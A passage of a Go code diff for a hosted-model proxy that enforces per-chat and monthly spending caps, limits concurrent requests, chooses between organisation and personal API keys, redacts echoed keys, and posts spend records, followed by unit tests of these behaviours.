serveHostedCompletion(w http.ResponseWriter, r *http.Request, bearer string, row bearerRow) { + cfg := h.config.Hosted + if h.config.Store == nil { + writeHostedModelError(w, http.StatusServiceUnavailable, hostedLimitCheck) + return + } + space, err := h.ensureSpace(row.person) + if err != nil { + writeHostedModelError(w, http.StatusServiceUnavailable, hostedLimitCheck) + return + } + capUSD := cfg.SessionCapUSD + if !(capUSD > 0) { + capUSD = defaultHostedSessionCap + } + entry, refusal := cfg.state.models.get(r.Context(), h, bearer, row, space, capUSD) + if entry == nil { + if refusal.status == http.StatusUnauthorized { + h.modelAccessEnded(w) + } else if refusal.status != 0 { + writeHostedModelError(w, refusal.status, refusal.message) + } + return + } + defer cfg.state.models.release(row.session, entry) + + key, own, err := h.chooseHostedModelKey(row.person) + if err != nil { + writeHostedModelError(w, http.StatusPaymentRequired, hostedOwnKey) + return + } + call := &hostedModelCall{key: key, own: own} + request := r.Clone(context.WithValue(r.Context(), hostedModelCallKey{}, call)) + request.URL.Path = modelapi.ChatURL("/v1") + request.URL.RawPath = "" + request.Header.Set("Authorization", "Bearer "+entry.server.API().Token) + reply := &hostedModelWriter{ResponseWriter: w, call: call, capUSD: capUSD} + entry.server.Handler().ServeHTTP(reply, request) +} + +// get reserves a place through the last write of the response. A closing +// entry stays visible until its receipts have reached the ledger. +func (m *modelRegistry) get(ctx context.Context, h *Handler, bearer string, row bearerRow, space factory.OrgWorkstream, capUSD float64) (*hostedModel, hostedModelRefusal) { + for { + m.mu.Lock() + entry := m.entries[row.session] + if entry != nil && entry.closing != nil { + done := entry.closing + m.mu.Unlock() + select { + case <-done: + continue + case <-ctx.Done(): + return nil, hostedModelRefusal{} + } + } + entry, refusal := m.admit(h, bearer, row, space, capUSD, entry) + m.mu.Unlock() + return entry, refusal + } +} + +// admit holds the registry lock while checking spend and installing a new +// server so a replacement always starts with the last server's settled spend. +func (m *modelRegistry) admit(h *Handler, bearer string, row bearerRow, space factory.OrgWorkstream, capUSD float64, entry *hostedModel) (*hostedModel, hostedModelRefusal) { + if m.closed { + return nil, hostedModelRefusal{http.StatusServiceUnavailable, modelNotAnswer} + } + // Revocation can race a request that passed the first check or was + // waiting for an idle server to finish its receipts. + if _, live := h.config.Hosted.state.bearers.lookup(bearer, h.clock()); !live || entry != nil && entry.person != row.person { + return nil, hostedModelRefusal{http.StatusUnauthorized, modelEnded} + } + spent, err := h.config.Store.ChatSpend(space.ID, "hosted:"+row.session) + if err != nil { + return nil, hostedModelRefusal{http.StatusServiceUnavailable, hostedLimitCheck} + } + if spent >= capUSD { + return nil, hostedModelRefusal{http.StatusPaymentRequired, fmt.Sprintf(hostedChatLimit, capUSD)} + } + if limit, spent := h.spaceMonth(space.ID); spent >= limit { + return nil, hostedModelRefusal{http.StatusPaymentRequired, fmt.Sprintf(hostedMonthLimit, limit)} + } + if entry == nil { + entry, err = h.openHostedModel(row, space, capUSD-spent) + if err != nil { + log.Print("hosted model: could not open the local model server") + return nil, hostedModelRefusal{http.StatusServiceUnavailable, modelNotAnswer} + } + if m.entries == nil { + m.entries = make(map[string]*hostedModel) + } + m.entries[row.session] = entry + } + if entry.inFlight >= hostedModelInFlight { + return nil, hostedModelRefusal{http.StatusTooManyRequests, hostedModelBusy} + } + if entry.idle != nil { + entry.idle.Stop() + entry.idle = nil + } + entry.inFlight++ + return entry, hostedModelRefusal{} +} + +func (m *modelRegistry) release(chat string, entry *hostedModel) { + m.mu.Lock() + defer m.mu.Unlock() + entry.inFlight-- + if entry.inFlight != 0 || entry.closing != nil { + return + } + var idle *time.Timer + idle = time.AfterFunc(hostedModelIdle, func() { + m.mu.Lock() + // A new call may have stopped this timer while its callback waited + // for the lock. Only the current idle period can end the server. + if entry.idle != idle { + m.mu.Unlock() + return + } + m.startClosing(entry) + m.mu.Unlock() + m.finishClosing(chat, entry) + }) + entry.idle = idle +} + +// forget closes a chat's server. Stop and delete supply the verified person +// because an unsuccessful attempt to stop someone else's chat cannot end it. +func (m *modelRegistry) forget(chat string, person ...string) { + m.mu.Lock() + entry := m.entries[chat] + if entry == nil || len(person) > 0 && entry.person != person[0] { + m.mu.Unlock() + return + } + if entry.closing != nil { + done := entry.closing + m.mu.Unlock() + <-done + return + } + m.startClosing(entry) + m.mu.Unlock() + m.finishClosing(chat, entry) +} + +func (m *modelRegistry) startClosing(entry *hostedModel) { + entry.closing = make(chan struct{}) + if entry.idle != nil { + entry.idle.Stop() + entry.idle = nil + } +} + +func (m *modelRegistry) finishClosing(chat string, entry *hostedModel) { + _ = entry.server.Close() + m.mu.Lock() + delete(m.entries, chat) + close(entry.closing) + m.mu.Unlock() +} + +func (h *Handler) closeHostedModels() { + cfg := h.config.Hosted + if cfg == nil || cfg.state == nil { + return + } + m := &cfg.state.models + m.mu.Lock() + m.closed = true + chats := make([]string, 0, len(m.entries)) + for chat := range m.entries { + chats = append(chats, chat) + } + m.mu.Unlock() + // Closing can wait for receipts. Wait for the chats in parallel so one + // chat's settlement does not delay the start of another's. + var closed sync.WaitGroup + for _, chat := range chats { + closed.Go(func() { m.forget(chat) }) + } + closed.Wait() +} + +// hostedKeyForHook replaces the sealed store in tests that need a person's own +// key to appear, disappear or fail without sealing one. It is nil in every +// running server. +var hostedKeyForHook func(person, provider string) (string, bool, error) + +// hostedKeyLookup is how a person's own key is found: the sealed store, except +// in the tests that replace it. +func (h *Handler) hostedKeyLookup() func(person, provider string) (string, bool, error) { + if hostedKeyForHook != nil { + return hostedKeyForHook + } + return h.hostedKeyFor +} + +func (h *Handler) chooseHostedModelKey(person string) (string, bool, error) { + if key, own, err := h.hostedKeyLookup()(person, "openrouter"); err != nil || own { + return key, own, err + } + cfg := h.config.Hosted + if key := cfg.state.upstreamKey; key != "" { + return key, false, nil + } + if key := h.orgModelKey(); key != "" { + return key, false, nil + } + if cfg.ModelUpstream != "" { + return "keyless", false, nil + } + return "", false, nil +} + +type hostedModelCallKey struct{} + +type hostedModelCall struct { + key string + own bool + called atomic.Bool + rejected atomic.Pointer[string] +} + +type hostedModelCompleter func(context.Context, []ai.Message, ...ai.Option) (*ai.Response, error) + +func (c hostedModelCompleter) CompleteWithMessages(ctx context.Context, messages []ai.Message, options ...ai.Option) (*ai.Response, error) { + return c(ctx, messages, options...) +} + +func (h *Handler) openHostedModel(row bearerRow, space factory.OrgWorkstream, ceiling float64) (*hostedModel, error) { + entry := &hostedModel{person: row.person} + cfg := h.config.Hosted + server, err := modelapi.Open(modelapi.Config{ + Ceiling: ceiling, + Role: lanes.RoleLeafUnattended, + Node: "hosted", + CompleterFor: func(model string) modelapi.Completer { + return hostedModelCompleter(func(ctx context.Context, messages []ai.Message, opts ...ai.Option) (*ai.Response, error) { + call, ok := ctx.Value(hostedModelCallKey{}).(*hostedModelCall) + if !ok { + return nil, errors.New(modelEnded) + } + factory := cfg.CompleterFor(cfg.ModelUpstream, call.key) + if factory == nil { + return nil, errors.New(modelNotAnswer) + } + completer := factory(model) + if completer == nil { + return nil, errors.New(modelNotAnswer) + } + + ctx = entry.withBillingSource(ctx, call.own) + call.called.Store(true) + answer, err := completer.CompleteWithMessages(ctx, messages, opts...) + if status, _ := provider.StatusOf(err); call.own && status == http.StatusUnauthorized { + message := err.Error() + if refusal, ok := provider.RefusalFrom(err); ok && refusal.Message != "" { + message = refusal.Message + } + call.rejected.Store(&message) + } + return answer, err + }) + }, + Bank: func(charge modelapi.Charge) { + h.postHostedSpend(space, row, entry.ownCharge, charge.CostUSD) + }, + Unbilled: func(string) { + log.Print("hosted model: one call could not be priced") + }, + }) + if err != nil { + return nil, err + } + entry.server = server + return entry, nil +} + +func (m *hostedModel) withBillingSource(ctx context.Context, own bool) context.Context { + bank := provider.BillingSinkFrom(ctx) + receipt := provider.ReconcileSinkFrom(ctx) + ctx = provider.WithBilling(ctx, func(bill provider.Billed) { + m.billingMu.Lock() + defer m.billingMu.Unlock() + m.ownCharge = own + bank(bill) + }) + return provider.WithReconcile(ctx, func(bill provider.Reconciled) { + m.billingMu.Lock() + defer m.billingMu.Unlock() + m.ownCharge = own + receipt(bill) + }) +} + +func (h *Handler) postHostedSpend(space factory.OrgWorkstream, row bearerRow, own bool, usd float64) { + if usd == 0 { + return + } + now := h.clock().UTC() + var suffix [2]byte + _, _ = rand.Read(suffix[:]) + chat := "hosted:" + row.session + key := fmt.Sprintf("%s:%d:%x", chat, now.UnixNano(), suffix) + if own { + chat += ":own" + } + spend := store.Spend{At: now.Format(time.RFC3339Nano), By: row.person, USD: usd, Chat: chat, Key: key} + if _, err := h.config.Store.AddSpend(space.ID, spend); err != nil { + log.Print("hosted model: could not post a charge") + return + } + h.recordAs(context.Background(), row.person, record.WorkstreamChanged, "posted spend", orgObjectWorkstream+space.ID, + strconv.FormatFloat(usd, 'f', -1, 64)+" USD by a hosted chat") + h.publishWorkstreamPart(space, api.PartSpend, "", row.person, 0, false) +} + +func (h *Handler) modelAccessEnded(w http.ResponseWriter) { + w.Header().Set("WWW-Authenticate", `Bearer realm="model"`) + if h.config.Hosted.CompleterFor == nil { + modelRefuse(w, http.StatusUnauthorized, modelEnded) + return + } + writeHostedModelError(w, http.StatusUnauthorized, modelEnded) +} + +func writeHostedModelError(w http.ResponseWriter, status int, message string) { + kind := "invalid_request_error" + switch status { + case http.StatusPaymentRequired: + kind = "insufficient_quota" + case http.StatusTooManyRequests: + kind = "rate_limit" + } + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(map[string]any{ + "error": map[string]any{"message": message, "type": kind, "code": status}, + }) +} + +// hostedModelWriter keeps the local API's reservation language and dollars +// on the server. It passes each SSE write through as it arrives. +type hostedModelWriter struct { + http.ResponseWriter + call *hostedModelCall + capUSD float64 + replaceBody bool +} + +func (w *hostedModelWriter) WriteHeader(status int) { + switch { + case status == http.StatusPaymentRequired && !w.call.called.Load(): + w.replaceBody = true + writeHostedModelError(w.ResponseWriter, status, fmt.Sprintf(hostedChatLimit, w.capUSD)) + case status == http.StatusTooManyRequests && w.Header().Get(modelapi.HeldHeader) != "": + w.replaceBody = true + w.Header().Del(modelapi.HeldHeader) + writeHostedModelError(w.ResponseWriter, status, hostedModelBusy) + case status == http.StatusUnauthorized: + // A stop can close the in-process server just before it admits a call. + w.replaceBody = true + w.Header().Set("WWW-Authenticate", `Bearer realm="model"`) + writeHostedModelError(w.ResponseWriter, status, modelEnded) + case status == http.StatusBadGateway && w.call.rejected.Load() != nil: + w.ResponseWriter.WriteHeader(http.StatusUnauthorized) + default: + w.ResponseWriter.WriteHeader(status) + } +} + +func (w *hostedModelWriter) Write(p []byte) (int, error) { + if w.replaceBody { + return len(p), nil + } + // modelapi writes each JSON object in one Write, with SSE framing in + // separate writes. Leave that framing and keepalive writes untouched. + data := p + if len(p) != 0 && p[0] == '{' { + data = w.hostedJSON(p) + } + n, err := w.ResponseWriter.Write(data) + if n == len(data) { + return len(p), err + } + return min(n, len(p)), err +} + +func (w *hostedModelWriter) hostedJSON(p []byte) []byte { + if bytes.Contains(p, []byte(`"usage":`)) || w.call.rejected.Load() != nil { + var fields map[string]json.RawMessage + if json.Unmarshal(p, &fields) == nil { + changed := false + var usage map[string]json.RawMessage + if json.Unmarshal(fields["usage"], &usage) == nil && usage["cost"] != nil { + delete(usage, "cost") + fields["usage"], _ = json.Marshal(usage) + changed = true + } + if message := w.call.rejected.Load(); message != nil && fields["error"] != nil { + fields["error"], _ = json.Marshal(map[string]any{"code": http.StatusUnauthorized, "message": *message}) + changed = true + } + if changed { + data, _ := json.Marshal(fields) + if p[len(p)-1] == '\n' { + data = append(data, '\n') + } + p = data + } + } + } + if key := w.call.key; key != "" && (key != "keyless" || w.call.own) { + p = scrubHostedModelKey(p, key) + } + return p +} + +func scrubHostedModelKey(p []byte, key string) []byte { + encoded, _ := json.Marshal(key) + if !bytes.Contains(p, encoded[1:len(encoded)-1]) { + return p + } + // An upstream error or answer can echo a key. Redact only JSON strings so + // short keys cannot change field names, numbers or the response framing. + var value any + decoder := json.NewDecoder(bytes.NewReader(p)) + decoder.UseNumber() + if decoder.Decode(&value) != nil { + return p + } + clean, _ := json.Marshal(scrubHostedModelValue(value, key)) + if p[len(p)-1] == '\n' { + clean = append(clean, '\n') + } + return clean +} + +func scrubHostedModelValue(value any, key string) any { + switch value := value.(type) { + case string: + return strings.ReplaceAll(value, key, "[redacted]") + case []any: + for i, child := range value { + value[i] = scrubHostedModelValue(child, key) + } + case map[string]any: + for field, child := range value { + value[field] = scrubHostedModelValue(child, key) + } + } + return value +} + +func (w *hostedModelWriter) Flush() { + _ = http.NewResponseController(w.ResponseWriter).Flush() +} diff --git a/internal/factory/serve/model_route_test.go b/internal/factory/serve/model_route_test.go new file mode 100644 index 0000000000..0ec32e77c3 --- /dev/null +++ b/internal/factory/serve/model_route_test.go @@ -0,0 +1,659 @@ +package serve + +import ( + "context" + "database/sql" + "encoding/json" + "errors" + "fmt" + "io" + "math" + "net/http" + "net/http/httptest" + "path/filepath" + "slices" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/factory/api" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/Agent-Field/codeaf/internal/provider" + "github.com/Agent-Field/codeaf/internal/provider/modelapi" +) + +const ( + testHostedOrgKey = "sk-test-org-0001" + testHostedOwnKey = "sk-test-own-0001" + testHostedModel = "stub/scripted" + testHostedBody = `{"model":"stub/scripted","messages":[{"role":"user","content":"Hi"}]}` + testHostedStream = `{"model":"stub/scripted","messages":[{"role":"user","content":"Hi"}],"stream":true}` +) + +type hostedTestAnswer func(context.Context, string, string) (*ai.Response, error) + +func newMeteredRig(t *testing.T, capUSD float64, answer hostedTestAnswer) *hostedRig { + t.Helper() + rg := newHostedRig(t) + rg.configure(t, func(c *HostedConfig) { + c.SessionCapUSD = capUSD + c.ModelUpstreamKey = testHostedOrgKey + c.CompleterFor = func(_ string, key string) func(string) modelapi.Completer { + return func(model string) modelapi.Completer { + return hostedModelCompleter(func(ctx context.Context, _ []ai.Message, _ ...ai.Option) (*ai.Response, error) { + return answer(ctx, key, model) + }) + } + } + }) + t.Cleanup(rg.h.closeHostedModels) + return rg +} + +func callHostedModel(rg *hostedRig, chat, body string) *httptest.ResponseRecorder { + r := httptest.NewRequest(http.MethodPost, modelapi.ChatURL("/v1/model"), strings.NewReader(body)) + r.Header.Set("Authorization", "Bearer "+rg.host.tokenOf(chat)) + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + return w +} + +func meteredAnswer(ctx context.Context, model, text string, cost float64) *ai.Response { + provider.BillingSinkFrom(ctx)(provider.Billed{Model: model, PromptTokens: 11, CompletionTokens: 7, Cost: cost}) + return &ai.Response{ID: "gen-test", Model: model, Choices: []ai.Choice{{ + Message: ai.Message{Role: "assistant", Content: []ai.ContentPart{{Type: "text", Text: text}}}, FinishReason: "stop", + }}} +} + +func myHostedSpace(t *testing.T, rg *hostedRig, person string) api.MySpace { + t.Helper() + var space api.MySpace + rg.do(t, person, http.MethodGet, "/v1/myspace", -1, nil, http.StatusOK, &space) + return space +} + +func hostedSpendRows(t *testing.T, rg *hostedRig, ws string) []store.Spend { + t.Helper() + db, err := sql.Open("sqlite", filepath.Join(rg.st.Root(), store.WorkstreamsDB)) + if err != nil { + t.Fatal(err) + } + defer db.Close() + rows, err := db.Query("SELECT at, by, usd, chat, key FROM spend WHERE ws = ? ORDER BY rowid", ws) + if err != nil { + t.Fatal(err) + } + defer rows.Close() + var spends []store.Spend + for rows.Next() { + var spend store.Spend + if err := rows.Scan(&spend.At, &spend.By, &spend.USD, &spend.Chat, &spend.Key); err != nil { + t.Fatal(err) + } + spends = append(spends, spend) + } + if err := rows.Err(); err != nil { + t.Fatal(err) + } + return spends +} + +func hostedModelErrorIs(t *testing.T, w *httptest.ResponseRecorder, status int, kind, message string) { + t.Helper() + var body struct { + Error struct { + Message string + Type string + Code int + } + } + if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil || w.Code != status || + body.Error.Code != status || body.Error.Type != kind || body.Error.Message != message { + t.Fatalf("response = %d %s, want %d, %s, %q", w.Code, w.Body, status, kind, message) + } +} + +func TestP1_2_EveryCallIsPostedToThePersonsSpendToTheCent(t *testing.T) { + var calls int + rg := newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + calls++ + switch calls { + case 4: + return nil, errors.New("the model failed") + case 5: + return meteredAnswer(ctx, model, "free", 0), nil + default: + return meteredAnswer(ctx, model, "paid", 0.0123), nil + } + }) + chat := rg.create(t, "santosh") + for i, status := range []int{200, 200, 200, 502, 200} { + body := testHostedBody + if i == 1 { + body = testHostedStream + } + w := callHostedModel(rg, chat, body) + if w.Code != status || strings.Contains(w.Body.String(), `"cost"`) { + t.Fatalf("call %d = %d %s", i, w.Code, w.Body) + } + if i == 1 && (!w.Flushed || !strings.Contains(w.Body.String(), `"total_tokens":18`) || !strings.Contains(w.Body.String(), "data: [DONE]")) { + t.Fatalf("stream = %s, flushed=%v", w.Body, w.Flushed) + } + } + space := myHostedSpace(t, rg, "santosh") + if space.SpentUSD != 0.04 { + t.Fatalf("My space spent $%g", space.SpentUSD) + } + other := myHostedSpace(t, rg, "mia") + if other.SpentUSD != 0 || len(hostedSpendRows(t, rg, other.Workstream.ID)) != 0 { + t.Fatalf("another person's space changed: %+v", other) + } + rows := hostedSpendRows(t, rg, space.Workstream.ID) + var total float64 + keys := make(map[string]bool) + for _, row := range rows { + total += row.USD + if row.By != "santosh" || row.Chat != "hosted:"+chat || row.USD != 0.0123 || + !strings.HasPrefix(row.Key, row.Chat+":") || keys[row.Key] { + t.Fatalf("unexpected or repeated charge: %+v", row) + } + keys[row.Key] = true + } + if len(rows) != 3 || math.Abs(total-0.0369) > 1e-12 { + t.Fatalf("posted %d rows totaling %g", len(rows), total) + } +} + +func TestP1_3_ChatCapRefusesInAPlainSentenceAndMakesNoUpstreamCall(t *testing.T) { + var calls int + rg := newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + calls++ + return meteredAnswer(ctx, model, "paid", 5), nil + }) + chat := rg.create(t, "santosh") + if w := callHostedModel(rg, chat, testHostedBody); w.Code != 200 { + t.Fatalf("first call = %d %s", w.Code, w.Body) + } + hostedModelErrorIs(t, callHostedModel(rg, chat, testHostedBody), 402, "insufficient_quota", + "This chat has reached its spending limit of $5.00, so it is paused. Start a new chat to carry on.") + if calls != 1 { + t.Fatalf("made %d upstream calls", calls) + } +} + +func TestP1_3_MonthlyLimitRefuses(t *testing.T) { + var calls atomic.Int64 + rg := newMeteredRig(t, 0, func(context.Context, string, string) (*ai.Response, error) { + calls.Add(1) + return nil, errors.New("unexpected model call") + }) + space := myHostedSpace(t, rg, "santosh") + if _, err := rg.st.AddSpend(space.Workstream.ID, store.Spend{ + At: rg.h.clock().Format(time.RFC3339Nano), USD: 20, Chat: "agent", By: "santosh", + }); err != nil { + t.Fatal(err) + } + id := rg.create(t, "santosh") + hostedModelErrorIs(t, callHostedModel(rg, id, testHostedBody), 402, "insufficient_quota", + "You have reached your monthly limit of $20.00, so this chat is paused. The organization's operator can raise it in Settings.") + if calls.Load() != 0 || len(rg.h.config.Hosted.state.models.entries) != 0 { + t.Fatal("the monthly refusal created a server or called upstream") + } +} + +func TestP1_3_RefusalRepeatsWithoutSpending(t *testing.T) { + var calls int + rg := newMeteredRig(t, 0.25, func(ctx context.Context, _, model string) (*ai.Response, error) { + calls++ + return meteredAnswer(ctx, model, "paid", 0.25), nil + }) + id := rg.create(t, "santosh") + if w := callHostedModel(rg, id, testHostedBody); w.Code != 200 { + t.Fatalf("first call = %d %s", w.Code, w.Body) + } + // A replacement must use the same persisted cap. + rg.h.config.Hosted.state.models.forget(id) + for range 3 { + hostedModelErrorIs(t, callHostedModel(rg, id, testHostedBody), 402, "insufficient_quota", + "This chat has reached its spending limit of $0.25, so it is paused. Start a new chat to carry on.") + } + if got := myHostedSpace(t, rg, "santosh").SpentUSD; got != 0.25 || calls != 1 { + t.Fatalf("after refusals: spent $%g across %d upstream calls", got, calls) + } +} + +type blockedModelBody struct { + *strings.Reader + started chan<- struct{} + release <-chan struct{} + once sync.Once +} + +func (b *blockedModelBody) Read(p []byte) (int, error) { + b.once.Do(func() { + b.started <- struct{}{} + <-b.release + }) + return b.Reader.Read(p) +} + +func TestP1_3_FifthSimultaneousCallIsBusy(t *testing.T) { + var calls atomic.Int64 + rg := newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + calls.Add(1) + return meteredAnswer(ctx, model, "free", 0), nil + }) + id := rg.create(t, "santosh") + started, release := make(chan struct{}, 4), make(chan struct{}) + var active sync.WaitGroup + defer func() { + close(release) + active.Wait() + }() + for range 4 { + active.Go(func() { + body := &blockedModelBody{Reader: strings.NewReader(testHostedBody), started: started, release: release} + r := httptest.NewRequest(http.MethodPost, modelapi.ChatURL("/v1/model"), body) + r.Header.Set("Authorization", "Bearer "+rg.host.tokenOf(id)) + rg.h.ServeHTTP(httptest.NewRecorder(), r) + }) + } + for range 4 { + select { + case <-started: + case <-time.After(5 * time.Second): + t.Fatal("four calls never reached request parsing") + } + } + hostedModelErrorIs(t, callHostedModel(rg, id, testHostedBody), 429, "rate_limit", + "This chat is already making as many requests as it may at once. Try again in a moment.") + if calls.Load() != 0 { + t.Fatal("a refused call reached the model") + } +} + +func TestP1_3_RefusalBodyIsAnOpenAIErrorAndStatus(t *testing.T) { + call := &hostedModelCall{} + for _, tc := range []struct { + status int + header bool + kind string + words string + }{ + {402, false, "insufficient_quota", "This chat has reached its spending limit of $5.00, so it is paused. Start a new chat to carry on."}, + {429, true, "rate_limit", "This chat is already making as many requests as it may at once. Try again in a moment."}, + } { + rec := httptest.NewRecorder() + w := &hostedModelWriter{ResponseWriter: rec, call: call, capUSD: 5} + if tc.header { + w.Header().Set(modelapi.HeldHeader, "ceiling") + } + w.WriteHeader(tc.status) + _, _ = io.WriteString(w, `{"error":{"message":"the internal limit","code":402}}`) + hostedModelErrorIs(t, rec, tc.status, tc.kind, tc.words) + } +} + +func TestP1_4_StoppedChatsBearerIsRefusedOnTheNextCall(t *testing.T) { + rg := newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + return meteredAnswer(ctx, model, "hi", 0), nil + }) + for _, stop := range []struct{ method, suffix string }{{"POST", "/stop"}, {"DELETE", ""}} { + id := rg.create(t, "santosh") + if w := callHostedModel(rg, id, testHostedBody); w.Code != 200 { + t.Fatalf("before stop: %d %s", w.Code, w.Body) + } + registry := &rg.h.config.Hosted.state.models + entry := registry.entries[id] + key := rg.host.tokenOf(id) + w := rg.send("santosh", stop.method, "/v1/hosted/sessions/"+id+stop.suffix, nil, nil) + if w.Code != http.StatusNoContent || registry.entries[id] != nil || entry.server.API().Token != "" { + t.Fatalf("%s %s = %d, model server still alive=%v", stop.method, stop.suffix, w.Code, entry.server.API().Token != "") + } + ended := rg.bearerCall("POST", modelapi.ChatURL("/v1/model"), key, nil) + hostedModelErrorIs(t, ended, 401, "invalid_request_error", "This chat's model access has ended.") + } +} + +func TestP1_4_BearerOfAnotherChatCannotUseThisChatsServer(t *testing.T) { + rg := newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + return meteredAnswer(ctx, model, "hi", 0.01), nil + }) + a := rg.create(t, "santosh") + b := rg.create(t, "mia") + if w := callHostedModel(rg, a, testHostedBody); w.Code != 200 { + t.Fatalf("first chat = %d %s", w.Code, w.Body) + } + entry := rg.h.config.Hosted.state.models.entries[a] + stop := rg.send("mia", "POST", "/v1/hosted/sessions/"+a+"/stop", nil, nil) + if stop.Code != http.StatusNotFound || entry.server.API().Token == "" { + t.Fatalf("another person's stop returned %d or ended the server", stop.Code) + } + r := httptest.NewRequest("POST", modelapi.ChatURL("/v1/model")+"?chat="+a, strings.NewReader(testHostedBody)) + r.Header.Set("Authorization", "Bearer "+rg.host.tokenOf(b)) + r.Header.Set("X-Codeaf-Person", "santosh") + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + entries := rg.h.config.Hosted.state.models.entries + if w.Code != 200 || entries[a] != entry || entries[b] == nil || entries[b] == entry { + t.Fatalf("second chat = %d %s, with %d registered servers", w.Code, w.Body, len(entries)) + } + for person, id := range map[string]string{"santosh": a, "mia": b} { + space := myHostedSpace(t, rg, person) + rows := hostedSpendRows(t, rg, space.Workstream.ID) + if len(rows) != 1 || rows[0].Chat != "hosted:"+id { + t.Fatalf("%s's spend: %+v", person, rows) + } + } +} + +func TestP1_1_UpstreamSeesOnlyTheOrgKeyAndTheChatSeesNone(t *testing.T) { + installHostedKeyHook(t, func(person, _ string) (string, bool, error) { + if person == "mia" { + return testHostedOwnKey, true, nil + } + return "", false, nil + }) + rg := newHostedRig(t) + var reject atomic.Bool + rg.up.mu.Lock() + rg.up.handler = func(w http.ResponseWriter, r *http.Request) { + if r.Method != "POST" { + w.WriteHeader(http.StatusNotFound) + return + } + key := strings.TrimPrefix(r.Header.Get("Authorization"), "Bearer ") + w.Header().Set("X-Test-Upstream-Key", key) + if reject.Load() || key != testHostedOrgKey && key != testHostedOwnKey { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusUnauthorized) + fmt.Fprintf(w, `{"error":{"message":%q,"code":401}}`, "invalid key "+key) + return + } + if r.URL.Path == modelapi.ChatURL("/api/v1") { + w.Header().Set("Content-Type", "text/event-stream") + fmt.Fprintf(w, "data: {\"id\":\"gen-test\",\"model\":\"stub/scripted\",\"choices\":[{\"index\":0,\"delta\":{\"content\":%q},\"finish_reason\":\"stop\"}],\"usage\":{\"prompt_tokens\":11,\"completion_tokens\":7,\"cost\":0.0123}}\n\ndata: [DONE]\n\n", "hello "+key) + } + } + rg.up.mu.Unlock() + rg.configure(t, func(c *HostedConfig) { + c.ModelUpstreamKey = testHostedOrgKey + c.CompleterFor = func(base, key string) func(string) modelapi.Completer { + return func(model string) modelapi.Completer { + client, err := provider.NewClient(provider.Config{BaseURL: base, APIKey: key, Model: model}) + if err != nil { + return hostedModelCompleter(func(context.Context, []ai.Message, ...ai.Option) (*ai.Response, error) { return nil, err }) + } + return client + } + } + }) + t.Cleanup(rg.h.closeHostedModels) + var ownChat string + for _, person := range []string{"santosh", "mia"} { + id := rg.create(t, person) + if person == "mia" { + ownChat = id + } + w := callHostedModel(rg, id, testHostedBody) + if w.Code != 200 || !strings.Contains(w.Body.String(), "hello") { + t.Fatalf("%s's reply = %d %s", person, w.Code, w.Body) + } + for _, key := range []string{testHostedOrgKey, testHostedOwnKey} { + if strings.Contains(w.Body.String(), key) || strings.Contains(fmt.Sprint(w.Header()), key) { + t.Fatalf("%s's reply exposed a key: %v %s", person, w.Header(), w.Body) + } + } + } + reject.Store(true) + refused := callHostedModel(rg, ownChat, testHostedBody) + if refused.Code != 401 || !strings.Contains(refused.Body.String(), "invalid key") || + strings.Contains(refused.Body.String(), testHostedOwnKey) || strings.Contains(fmt.Sprint(refused.Header()), testHostedOwnKey) { + t.Fatalf("upstream refusal = %d %v %s", refused.Code, refused.Header(), refused.Body) + } + var keys []string + for _, request := range rg.up.requests() { + if request.method == http.MethodPost { + keys = append(keys, request.header.Get("Authorization")) + } + } + if !slices.Equal(keys, []string{"Bearer " + testHostedOrgKey, "Bearer " + testHostedOwnKey, "Bearer " + testHostedOwnKey}) { + t.Fatalf("upstream saw %v", keys) + } +} + +func installHostedKeyHook(t *testing.T, hook func(string, string) (string, bool, error)) { + t.Helper() + hostedKeyForHook = hook + t.Cleanup(func() { hostedKeyForHook = nil }) +} + +func TestP1_5_OwnKeyIsUsedForItsPersonOnly(t *testing.T) { + own := true + installHostedKeyHook(t, func(person, provider string) (string, bool, error) { + if own && person == "santosh" && provider == "openrouter" { + return testHostedOwnKey, true, nil + } + return "", false, nil + }) + var seen []string + rg := newMeteredRig(t, 0, func(ctx context.Context, key, model string) (*ai.Response, error) { + seen = append(seen, key) + return meteredAnswer(ctx, model, "hi", 0.0123), nil + }) + chat := rg.create(t, "santosh") + b := rg.create(t, "mia") + for _, id := range []string{chat, b, chat} { + if w := callHostedModel(rg, id, testHostedBody); w.Code != 200 { + t.Fatalf("call = %d %s", w.Code, w.Body) + } + if id == b { + own = false + } + } + if !slices.Equal(seen, []string{testHostedOwnKey, testHostedOrgKey, testHostedOrgKey}) { + t.Fatalf("selected %v", seen) + } + space := myHostedSpace(t, rg, "santosh") + rows := hostedSpendRows(t, rg, space.Workstream.ID) + if len(rows) != 2 || rows[0].Chat != "hosted:"+chat+":own" || rows[1].Chat != "hosted:"+chat { + t.Fatalf("own-key spend = %+v", rows) + } +} + +func TestP1_5_OwnKeyThatCannotBeOpenedRefusesNeverFallsBack(t *testing.T) { + installHostedKeyHook(t, func(string, string) (string, bool, error) { + return "", true, errors.New("test key could not be opened") + }) + var calls atomic.Int64 + rg := newMeteredRig(t, 0, func(context.Context, string, string) (*ai.Response, error) { + calls.Add(1) + return nil, errors.New("unexpected model call") + }) + hostedModelErrorIs(t, callHostedModel(rg, rg.create(t, "santosh"), testHostedBody), 402, "insufficient_quota", + "Your own model key could not be opened on this server, so this chat paused instead of using the organization's.") + if calls.Load() != 0 { + t.Fatal("the model was called") + } +} + +func TestP1_5_UpstreamRejectingAnOwnKeyIsReturnedNotRetriedWithTheOrgKey(t *testing.T) { + installHostedKeyHook(t, func(string, string) (string, bool, error) { + return testHostedOwnKey, true, nil + }) + var seen []string + rg := newMeteredRig(t, 0, func(_ context.Context, key, _ string) (*ai.Response, error) { + seen = append(seen, key) + return nil, &provider.APIError{Status: 401, Message: "invalid key"} + }) + w := callHostedModel(rg, rg.create(t, "santosh"), 